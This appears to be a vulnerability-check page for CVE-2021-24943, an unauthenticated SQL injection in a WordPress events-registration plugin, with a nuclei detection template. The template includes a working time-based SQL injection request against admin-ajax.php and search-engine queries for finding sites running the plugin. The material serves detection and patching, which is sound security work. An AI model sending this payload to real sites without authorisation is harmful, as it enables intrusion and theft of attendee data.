Registrations for the Events Calendar < 2.7.6 - SQL Injection

criticalseverity

9.8CVSS score

7.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.

Impact

Unauthenticated attackers can execute SQL injection through the event_id parameter, potentially extracting all Events Calendar registration data including attendee information.

Fix

Fixed in 2.7.6

How to confirm it

Send: @timeout: 20s
Positive when: duration>=5 and status_code == 200 and contains(body, "Please enter the email you registered with")

Run it with nuclei: nuclei -id CVE-2021-24943 -u <target>

The full check

id: CVE-2021-24943

info:
  name: Registrations for the Events Calendar < 2.7.6 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.
  impact: |
    Unauthenticated attackers can execute SQL injection through the event_id parameter, potentially extracting all Events Calendar registration data including attendee information.
  remediation: Fixed in 2.7.6
  reference:
    - https://wpscan.com/vulnerability/ba50c590-42ee-4523-8aa0-87ac644b77ed/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24943
    - https://wordpress.org/plugins/registrations-for-the-events-calendar/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24943
    cwe-id: CWE-89
    epss-score: 0.07303
    epss-percentile: 0.94423
    cpe: cpe:2.3:a:roundupwp:registrations_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roundupwp
    product: registrations_for_the_events_calendar
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/registrations-for-the-events-calendar/
    fofa-query: body=/wp-content/plugins/registrations-for-the-events-calendar/
    publicwww-query: "/wp-content/plugins/registrations-for-the-events-calendar/"
  tags: time-based-sqli,wpscan,cve,cve2021,wp,wp-plugin,wordpress,sqli,registrations-for-the-events-calendar,roundupwp,vkev,vuln
variables:
  text: "{{rand_base(5)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        event_id=3 AND (SELECT 1874 FROM (SELECT(SLEEP(5)))vNpy)&email={{text}}@{{text}}.com

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains(body, "Please enter the email you registered with")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from